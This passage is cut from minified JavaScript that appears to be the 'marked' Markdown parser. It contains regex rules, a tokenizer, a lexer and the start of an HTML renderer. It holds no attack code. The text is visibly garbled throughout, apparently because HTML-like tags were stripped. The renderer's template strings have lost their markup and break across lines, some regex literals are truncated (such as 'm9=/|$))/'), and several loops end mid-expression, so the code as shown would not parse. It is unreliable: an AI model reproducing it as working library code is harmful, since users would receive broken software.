][^\\n]*)?(?:\\n|$))`),"listItemRegex"),nextBulletRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ ][^\\n]*)?(?:\\n|$))`),"nextBulletRegex"),hrRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`),"hrRegex"),fencesBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:\`\`\`|~~~)`),"fencesBeginRegex"),headingBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}#`),"headingBeginRegex"),htmlBeginRegex:o(t=>new RegExp(`^ {0,${Math.min(3,t-1)}}<(?:[a-z].*>|!--)`,"i"),"htmlBeginRegex")},a9e=/^(?:[ \t]*(?:\n|$))+/,s9e=/^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/,o9e=/^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/,A2=/^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/,l9e=/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,f9=/(?:[*+-]|\d{1,9}[.)])/,AZ=/^(?!bull |blockCode|fences|blockquote|heading|html|table)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html|table))+?)\n {0,3}(=+|-+) *(?:\n+|$)/,_Z=on(AZ).replace(/bull/g,f9).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/\|table/g,"").getRegex(),c9e=on(AZ).replace(/bull/g,f9).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/table/g,/ {0,3}\|?(?:[:\- ]*\|)+[\:\- ]*\n/).getRegex(),d9=/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,u9e=/^[^\n]+/,p9=/(?!\s*\])(?:\\[\s\S]|[^\[\]\\])+/,h9e=on(/^ {0,3}\[(label)\]: *(?:\n[ \t]*)?([^<\s][^\s]*|<.*?>)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace("label",p9).replace("title",/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/).getRegex(),f9e=on(/^( {0,3}bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g,f9).getRegex(),qT="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",m9=/|$))/,d9e=on("^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|\\n*|$)|\\n*|$)|)[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$))","i").replace("comment",m9).replace("tag",qT).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),DZ=on(d9).replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex(),p9e=on(/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/).replace("paragraph",DZ).getRegex(),g9={blockquote:p9e,code:s9e,def:h9e,fences:o9e,heading:l9e,hr:A2,html:d9e,lheading:_Z,list:f9e,newline:a9e,paragraph:DZ,table:C2,text:u9e},TZ=on("^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)").replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("blockquote"," {0,3}>").replace("code","(?: {4}| {0,3} )[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex(),m9e={...g9,lheading:c9e,table:TZ,paragraph:on(d9).replace("hr",A2).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("table",TZ).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",qT).getRegex()},g9e={...g9,html:on(`^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+? *(?:\\n{2,}|\\s*$)|\\s]*)*?/?> *(?:\\n{2,}|\\s*$))`).replace("comment",m9).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:C2,lheading:/^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/,paragraph:on(d9).replace("hr",A2).replace("heading",` *#{1,6} *[^ +]`).replace("lheading",_Z).replace("|table","").replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").replace("|tag","").getRegex()},y9e=/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,v9e=/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,LZ=/^( {2,}|\\)\n(?!\s*$)/,x9e=/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\]*?>/g,MZ=/^(?:\*+(?:((?!\*)punct)|[^\s*]))|^_+(?:((?!_)punct)|([^\s_]))/,E9e=on(MZ,"u").replace(/punct/g,WT).getRegex(),S9e=on(MZ,"u").replace(/punct/g,NZ).getRegex(),IZ="^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)",C9e=on(IZ,"gu").replace(/notPunctSpace/g,RZ).replace(/punctSpace/g,y9).replace(/punct/g,WT).getRegex(),A9e=on(IZ,"gu").replace(/notPunctSpace/g,w9e).replace(/punctSpace/g,T9e).replace(/punct/g,NZ).getRegex(),_9e=on("^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)","gu").replace(/notPunctSpace/g,RZ).replace(/punctSpace/g,y9).replace(/punct/g,WT).getRegex(),D9e=on(/\\(punct)/,"gu").replace(/punct/g,WT).getRegex(),L9e=on(/^<(scheme:[^\s\x00-\x1f<>]*|email)>/).replace("scheme",/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace("email",/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex(),R9e=on(m9).replace("(?:-->|$)","-->").getRegex(),N9e=on("^comment|^|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^|^").replace("comment",R9e).replace("attribute",/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/).getRegex(),VT=/(?:\[(?:\\[\s\S]|[^\[\]\\])*\]|\\[\s\S]|`[^`]*`|[^\[\]\\`])*?/,M9e=on(/^!?\[(label)\]\(\s*(href)(?:(?:[ \t]*(?:\n[ \t]*)?)(title))?\s*\)/).replace("label",VT).replace("href",/<(?:\\.|[^\n<>\\])+>|[^ \t\n\x00-\x1f]*/).replace("title",/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/).getRegex(),OZ=on(/^!?\[(label)\]\[(ref)\]/).replace("label",VT).replace("ref",p9).getRegex(),PZ=on(/^!?\[(ref)\](?:\[\])?/).replace("ref",p9).getRegex(),I9e=on("reflink|nolink(?!\\()","g").replace("reflink",OZ).replace("nolink",PZ).getRegex(),v9={_backpedal:C2,anyPunctuation:D9e,autolink:L9e,blockSkip:k9e,br:LZ,code:v9e,del:C2,emStrongLDelim:E9e,emStrongRDelimAst:C9e,emStrongRDelimUnd:_9e,escape:y9e,link:M9e,nolink:PZ,punctuation:b9e,reflink:OZ,reflinkSearch:I9e,tag:N9e,text:x9e,url:C2},O9e={...v9,link:on(/^!?\[(label)\]\((.*?)\)/).replace("label",VT).getRegex(),reflink:on(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",VT).getRegex()},l9={...v9,emStrongRDelimAst:A9e,emStrongLDelim:S9e,url:on(/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,"i").replace("email",/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/).getRegex(),_backpedal:/(?:[^?!.,:;*_'"~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_'"~)]+(?!$))+/,del:/^(~~?)(?=[^\s~])((?:\\[\s\S]|[^\\])*?(?:\\[\s\S]|[^\s~\\]))\1(?=[^~]|$)/,text:/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\":">",'"':""","'":"'"},wZ=o(t=>B9e[t],"ke");o(Tc,"w");o(kZ,"J");o(EZ,"V");o(E2,"z");o(F9e,"ge");o(SZ,"fe");o($9e,"Je");UT=class{static{o(this,"y")}options;rules;lexer;constructor(t){this.options=t||jd}space(t){let e=this.rules.block.newline.exec(t);if(e&&e[0].length>0)return{type:"space",raw:e[0]}}code(t){let e=this.rules.block.code.exec(t);if(e){let r=e[0].replace(this.rules.other.codeRemoveIndent,"");return{type:"code",raw:e[0],codeBlockStyle:"indented",text:this.options.pedantic?r:E2(r,` +`)}}}fences(t){let e=this.rules.block.fences.exec(t);if(e){let r=e[0],n=$9e(r,e[3]||"",this.rules);return{type:"code",raw:r,lang:e[2]?e[2].trim().replace(this.rules.inline.anyPunctuation,"$1"):e[2],text:n}}}heading(t){let e=this.rules.block.heading.exec(t);if(e){let r=e[2].trim();if(this.rules.other.endingHash.test(r)){let n=E2(r,"#");(this.options.pedantic||!n||this.rules.other.endingSpaceChar.test(n))&&(r=n.trim())}return{type:"heading",raw:e[0],depth:e[1].length,text:r,tokens:this.lexer.inline(r)}}}hr(t){let e=this.rules.block.hr.exec(t);if(e)return{type:"hr",raw:E2(e[0],` +`)}}blockquote(t){let e=this.rules.block.blockquote.exec(t);if(e){let r=E2(e[0],` +`).split(` +`),n="",i="",a=[];for(;r.length>0;){let s=!1,l=[],u;for(u=0;u1,i={type:"list",raw:"",ordered:n,start:n?+r.slice(0,-1):"",loose:!1,items:[]};r=n?`\\d{1,9}\\${r.slice(-1)}`:`\\${r}`,this.options.pedantic&&(r=n?r:"[*+-]");let a=this.rules.other.listItemRegex(r),s=!1;for(;t;){let u=!1,h="",f="";if(!(e=a.exec(t))||this.rules.block.hr.test(t))break;h=e[0],t=t.substring(h.length);let d=e[2].split(` +`,1)[0].replace(this.rules.other.listReplaceTabs,x=>" ".repeat(3*x.length)),p=t.split(` +`,1)[0],m=!d.trim(),g=0;if(this.options.pedantic?(g=2,f=d.trimStart()):m?g=e[1].length+1:(g=e[2].search(this.rules.other.nonSpaceChar),g=g>4?1:g,f=d.slice(g),g+=e[1].length),m&&this.rules.other.blankLine.test(p)&&(h+=p+` +`,t=t.substring(p.length+1),u=!0),!u){let x=this.rules.other.nextBulletRegex(g),b=this.rules.other.hrRegex(g),T=this.rules.other.fencesBeginRegex(g),S=this.rules.other.headingBeginRegex(g),w=this.rules.other.htmlBeginRegex(g);for(;t;){let k=t.split(` +`,1)[0],A;if(p=k,this.options.pedantic?(p=p.replace(this.rules.other.listReplaceNesting," "),A=p):A=p.replace(this.rules.other.tabCharGlobal," "),T.test(p)||S.test(p)||w.test(p)||x.test(p)||b.test(p))break;if(A.search(this.rules.other.nonSpaceChar)>=g||!p.trim())f+=` +`+A.slice(g);else{if(m||d.replace(this.rules.other.tabCharGlobal," ").search(this.rules.other.nonSpaceChar)>=4||T.test(d)||S.test(d)||b.test(d))break;f+=` +`+p}!m&&!p.trim()&&(m=!0),h+=k+` +`,t=t.substring(k.length+1),d=A.slice(g)}}i.loose||(s?i.loose=!0:this.rules.other.doubleBlankLine.test(h)&&(s=!0));let y=null,v;this.options.gfm&&(y=this.rules.other.listIsTask.exec(f),y&&(v=y[0]!=="[ ] ",f=f.replace(this.rules.other.listReplaceTask,""))),i.items.push({type:"list_item",raw:h,task:!!y,checked:v,loose:!1,text:f,tokens:[]}),i.raw+=h}let l=i.items.at(-1);if(l)l.raw=l.raw.trimEnd(),l.text=l.text.trimEnd();else return;i.raw=i.raw.trimEnd();for(let u=0;ud.type==="space"),f=h.length>0&&h.some(d=>this.rules.other.anyLine.test(d.raw));i.loose=f}if(i.loose)for(let u=0;u({text:l,tokens:this.lexer.inline(l),header:!1,align:a.align[u]})));return a}}lheading(t){let e=this.rules.block.lheading.exec(t);if(e)return{type:"heading",raw:e[0],depth:e[2].charAt(0)==="="?1:2,text:e[1],tokens:this.lexer.inline(e[1])}}paragraph(t){let e=this.rules.block.paragraph.exec(t);if(e){let r=e[1].charAt(e[1].length-1)===` +`?e[1].slice(0,-1):e[1];return{type:"paragraph",raw:e[0],text:r,tokens:this.lexer.inline(r)}}}text(t){let e=this.rules.block.text.exec(t);if(e)return{type:"text",raw:e[0],text:e[0],tokens:this.lexer.inline(e[0])}}escape(t){let e=this.rules.inline.escape.exec(t);if(e)return{type:"escape",raw:e[0],text:e[1]}}tag(t){let e=this.rules.inline.tag.exec(t);if(e)return!this.lexer.state.inLink&&this.rules.other.startATag.test(e[0])?this.lexer.state.inLink=!0:this.lexer.state.inLink&&this.rules.other.endATag.test(e[0])&&(this.lexer.state.inLink=!1),!this.lexer.state.inRawBlock&&this.rules.other.startPreScriptTag.test(e[0])?this.lexer.state.inRawBlock=!0:this.lexer.state.inRawBlock&&this.rules.other.endPreScriptTag.test(e[0])&&(this.lexer.state.inRawBlock=!1),{type:"html",raw:e[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,block:!1,text:e[0]}}link(t){let e=this.rules.inline.link.exec(t);if(e){let r=e[2].trim();if(!this.options.pedantic&&this.rules.other.startAngleBracket.test(r)){if(!this.rules.other.endAngleBracket.test(r))return;let a=E2(r.slice(0,-1),"\\");if((r.length-a.length)%2===0)return}else{let a=F9e(e[2],"()");if(a===-2)return;if(a>-1){let s=(e[0].indexOf("!")===0?5:4)+e[1].length+a;e[2]=e[2].substring(0,a),e[0]=e[0].substring(0,s).trim(),e[3]=""}}let n=e[2],i="";if(this.options.pedantic){let a=this.rules.other.pedanticHrefTitle.exec(n);a&&(n=a[1],i=a[3])}else i=e[3]?e[3].slice(1,-1):"";return n=n.trim(),this.rules.other.startAngleBracket.test(n)&&(this.options.pedantic&&!this.rules.other.endAngleBracket.test(r)?n=n.slice(1):n=n.slice(1,-1)),SZ(e,{href:n&&n.replace(this.rules.inline.anyPunctuation,"$1"),title:i&&i.replace(this.rules.inline.anyPunctuation,"$1")},e[0],this.lexer,this.rules)}}reflink(t,e){let r;if((r=this.rules.inline.reflink.exec(t))||(r=this.rules.inline.nolink.exec(t))){let n=(r[2]||r[1]).replace(this.rules.other.multipleSpaceGlobal," "),i=e[n.toLowerCase()];if(!i){let a=r[0].charAt(0);return{type:"text",raw:a,text:a}}return SZ(r,i,r[0],this.lexer,this.rules)}}emStrong(t,e,r=""){let n=this.rules.inline.emStrongLDelim.exec(t);if(!(!n||n[3]&&r.match(this.rules.other.unicodeAlphaNumeric))&&(!(n[1]||n[2])||!r||this.rules.inline.punctuation.exec(r))){let i=[...n[0]].length-1,a,s,l=i,u=0,h=n[0][0]==="*"?this.rules.inline.emStrongRDelimAst:this.rules.inline.emStrongRDelimUnd;for(h.lastIndex=0,e=e.slice(-1*t.length+i);(n=h.exec(e))!=null;){if(a=n[1]||n[2]||n[3]||n[4]||n[5]||n[6],!a)continue;if(s=[...a].length,n[3]||n[4]){l+=s;continue}else if((n[5]||n[6])&&i%3&&!((i+s)%3)){u+=s;continue}if(l-=s,l>0)continue;s=Math.min(s,s+l+u);let f=[...n[0]][0].length,d=t.slice(0,i+n.index+f+s);if(Math.min(i,s)%2){let m=d.slice(1,-1);return{type:"em",raw:d,text:m,tokens:this.lexer.inlineTokens(m)}}let p=d.slice(2,-2);return{type:"strong",raw:d,text:p,tokens:this.lexer.inlineTokens(p)}}}}codespan(t){let e=this.rules.inline.code.exec(t);if(e){let r=e[2].replace(this.rules.other.newLineCharGlobal," "),n=this.rules.other.nonSpaceChar.test(r),i=this.rules.other.startingSpaceChar.test(r)&&this.rules.other.endingSpaceChar.test(r);return n&&i&&(r=r.substring(1,r.length-1)),{type:"codespan",raw:e[0],text:r}}}br(t){let e=this.rules.inline.br.exec(t);if(e)return{type:"br",raw:e[0]}}del(t){let e=this.rules.inline.del.exec(t);if(e)return{type:"del",raw:e[0],text:e[2],tokens:this.lexer.inlineTokens(e[2])}}autolink(t){let e=this.rules.inline.autolink.exec(t);if(e){let r,n;return e[2]==="@"?(r=e[1],n="mailto:"+r):(r=e[1],n=r),{type:"link",raw:e[0],text:r,href:n,tokens:[{type:"text",raw:r,text:r}]}}}url(t){let e;if(e=this.rules.inline.url.exec(t)){let r,n;if(e[2]==="@")r=e[0],n="mailto:"+r;else{let i;do i=e[0],e[0]=this.rules.inline._backpedal.exec(e[0])?.[0]??"";while(i!==e[0]);r=e[0],e[1]==="www."?n="http://"+e[0]:n=e[0]}return{type:"link",raw:e[0],text:r,href:n,tokens:[{type:"text",raw:r,text:r}]}}}inlineText(t){let e=this.rules.inline.text.exec(t);if(e){let r=this.lexer.state.inRawBlock;return{type:"text",raw:e[0],text:e[0],escaped:r}}}},Mu=class c9{static{o(this,"l")}tokens;options;state;tokenizer;inlineQueue;constructor(e){this.tokens=[],this.tokens.links=Object.create(null),this.options=e||jd,this.options.tokenizer=this.options.tokenizer||new UT,this.tokenizer=this.options.tokenizer,this.tokenizer.options=this.options,this.tokenizer.lexer=this,this.inlineQueue=[],this.state={inLink:!1,inRawBlock:!1,top:!0};let r={other:as,block:GT.normal,inline:k2.normal};this.options.pedantic?(r.block=GT.pedantic,r.inline=k2.pedantic):this.options.gfm&&(r.block=GT.gfm,this.options.breaks?r.inline=k2.breaks:r.inline=k2.gfm),this.tokenizer.rules=r}static get rules(){return{block:GT,inline:k2}}static lex(e,r){return new c9(r).lex(e)}static lexInline(e,r){return new c9(r).inlineTokens(e)}lex(e){e=e.replace(as.carriageReturn,` +`),this.blockTokens(e,this.tokens);for(let r=0;r(i=s.call({lexer:this},e,r))?(e=e.substring(i.raw.length),r.push(i),!0):!1))continue;if(i=this.tokenizer.space(e)){e=e.substring(i.raw.length);let s=r.at(-1);i.raw.length===1&&s!==void 0?s.raw+=` +`:r.push(i);continue}if(i=this.tokenizer.code(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="paragraph"||s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.at(-1).src=s.text):r.push(i);continue}if(i=this.tokenizer.fences(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.heading(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.hr(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.blockquote(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.list(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.html(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.def(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="paragraph"||s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.raw,this.inlineQueue.at(-1).src=s.text):this.tokens.links[i.tag]||(this.tokens.links[i.tag]={href:i.href,title:i.title},r.push(i));continue}if(i=this.tokenizer.table(e)){e=e.substring(i.raw.length),r.push(i);continue}if(i=this.tokenizer.lheading(e)){e=e.substring(i.raw.length),r.push(i);continue}let a=e;if(this.options.extensions?.startBlock){let s=1/0,l=e.slice(1),u;this.options.extensions.startBlock.forEach(h=>{u=h.call({lexer:this},l),typeof u=="number"&&u>=0&&(s=Math.min(s,u))}),s<1/0&&s>=0&&(a=e.substring(0,s+1))}if(this.state.top&&(i=this.tokenizer.paragraph(a))){let s=r.at(-1);n&&s?.type==="paragraph"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=s.text):r.push(i),n=a.length!==e.length,e=e.substring(i.raw.length);continue}if(i=this.tokenizer.text(e)){e=e.substring(i.raw.length);let s=r.at(-1);s?.type==="text"?(s.raw+=(s.raw.endsWith(` +`)?"":` +`)+i.raw,s.text+=` +`+i.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=s.text):r.push(i);continue}if(e){let s="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(s);break}else throw new Error(s)}}return this.state.top=!0,r}inline(e,r=[]){return this.inlineQueue.push({src:e,tokens:r}),r}inlineTokens(e,r=[]){let n=e,i=null;if(this.tokens.links){let l=Object.keys(this.tokens.links);if(l.length>0)for(;(i=this.tokenizer.rules.inline.reflinkSearch.exec(n))!=null;)l.includes(i[0].slice(i[0].lastIndexOf("[")+1,-1))&&(n=n.slice(0,i.index)+"["+"a".repeat(i[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex))}for(;(i=this.tokenizer.rules.inline.anyPunctuation.exec(n))!=null;)n=n.slice(0,i.index)+"++"+n.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);for(;(i=this.tokenizer.rules.inline.blockSkip.exec(n))!=null;)n=n.slice(0,i.index)+"["+"a".repeat(i[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);n=this.options.hooks?.emStrongMask?.call({lexer:this},n)??n;let a=!1,s="";for(;e;){a||(s=""),a=!1;let l;if(this.options.extensions?.inline?.some(h=>(l=h.call({lexer:this},e,r))?(e=e.substring(l.raw.length),r.push(l),!0):!1))continue;if(l=this.tokenizer.escape(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.tag(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.link(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.reflink(e,this.tokens.links)){e=e.substring(l.raw.length);let h=r.at(-1);l.type==="text"&&h?.type==="text"?(h.raw+=l.raw,h.text+=l.text):r.push(l);continue}if(l=this.tokenizer.emStrong(e,n,s)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.codespan(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.br(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.del(e)){e=e.substring(l.raw.length),r.push(l);continue}if(l=this.tokenizer.autolink(e)){e=e.substring(l.raw.length),r.push(l);continue}if(!this.state.inLink&&(l=this.tokenizer.url(e))){e=e.substring(l.raw.length),r.push(l);continue}let u=e;if(this.options.extensions?.startInline){let h=1/0,f=e.slice(1),d;this.options.extensions.startInline.forEach(p=>{d=p.call({lexer:this},f),typeof d=="number"&&d>=0&&(h=Math.min(h,d))}),h<1/0&&h>=0&&(u=e.substring(0,h+1))}if(l=this.tokenizer.inlineText(u)){e=e.substring(l.raw.length),l.raw.slice(-1)!=="_"&&(s=l.raw.slice(-1)),a=!0;let h=r.at(-1);h?.type==="text"?(h.raw+=l.raw,h.text+=l.text):r.push(l);continue}if(e){let h="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(h);break}else throw new Error(h)}}return r}},HT=class{static{o(this,"P")}options;parser;constructor(t){this.options=t||jd}space(t){return""}code({text:t,lang:e,escaped:r}){let n=(e||"").match(as.notSpaceStart)?.[0],i=t.replace(as.endingNewline,"")+` +`;return n?'
'+(r?i:Tc(i,!0))+`
+`:"
"+(r?i:Tc(i,!0))+`
+`}blockquote({tokens:t}){return`
+${this.parser.parse(t)}
+`}html({text:t}){return t}def(t){return""}heading({tokens:t,depth:e}){return`${this.parser.parseInline(t)} +`}hr(t){return`
+`}list(t){let e=t.ordered,r=t.start,n="";for(let s=0;s +`+n+" +`}listitem(t){let e="";if(t.task){let r=this.checkbox({checked:!!t.checked});t.loose?t.tokens[0]?.type==="paragraph"?(t.tokens[0].text=r+" "+t.tokens[0].text,t.tokens[0].tokens&&t.tokens[0].tokens.length>0&&t.tokens[0].tokens[0].type==="text"&&(t.tokens[0].tokens[0].text=r+" "+Tc(t.tokens[0].tokens[0].text),t.tokens[0].tokens[0].escaped=!0)):t.tokens.unshift({type:"text",raw:r+" ",text:r+" ",escaped:!0}):e+=r+" "}return e+=this.parser.parse(t.tokens,!!t.loose),`
  • ${e}
  • +`}checkbox({checked:t}){return"'}paragraph({tokens:t}){return`

    ${this.parser.parseInline(t)}

    +`}table(t){let e="",r="";for(let i=0;i${n}`),` + +`+e+` +`+n+`
    +`}tablerow({text:t}){return` +${t} +`}tablecell(t){let e=this.parser.parseInline(t.tokens),r=t.header?"th":"td";return(t.align?`<${r} align="${t.align}">`:`<${r}>`)+e+` +`}strong({tokens:t}){return`${this.parser.parseInline(t)}`}em({tokens:t}){return`${this.parser.parseInline(t)}`}codespan({text:t}){return`${Tc(t,!0)}`}br(t){return"
    "}del({tokens:t}){return`${this.parser.parseInline(t)}`}link({href:t,title:e,tokens:r}){let n=this.parser.parseInline(r),i=kZ(t);if(i===null)return n;t=i;let a='
    ",a}image({href:t,title:e,text:r,tokens:n}){n&&(r=this.parser.parseInline(n,this.parser.textRenderer));let i=kZ(t);if(i===null)return Tc(r);t=i;let a=`${r}{let s=i[a].flat(1/0);r=r.concat(this.walkTokens(s,e))}):i.tokens&&(r=r.concat(this.walkTokens(i.tokens,e)))}}return r}use(...t){let e=this.defaults.extensions||{renderers:{},childTokens:{}};return t.forEach(r=>{let n={...r};if(n.async=this.defaults.async||n.async||!1,r.extensions&&(r.extensions.forEach(i=>{if(!i.name)throw new Error("extension name required");if("renderer"in i){let a=e.renderers[i.name];a?e.renderers[i.name]=function(...s){let l=i.renderer.apply(this,s);return l===!1&&(l=a.apply(this,s)),l}:e.renderers[i.name]=i.renderer}if("tokenizer"in i){if(!i.level||i.level!=="block"&&i.level!=="inline")throw new Error("extension level must be 'block' or 'inline'");let a=e[i.level];a?a.unshift(i.tokenizer):e[i.level]=[i.tokenizer],i.start&&(i.level==="block"?e.startBlock?e.startBlock.push(i.start):e.startBlock=[i.start]:i.level==="inline"&&(e.startInline?e.startInline.push(i.start):e.startInline=[i.start]))}"childTokens"in i&&i.childTokens&&(e.childTokens[i.name]=i.childTokens)}),n.extensions=e),r.renderer){let i=this.defaults.renderer||new HT(this.defaults);for(let a in r.renderer){if(!(a in i))throw new Error(`renderer '${a}' does not exist`);if(["options","parser"].includes(a))continue;let 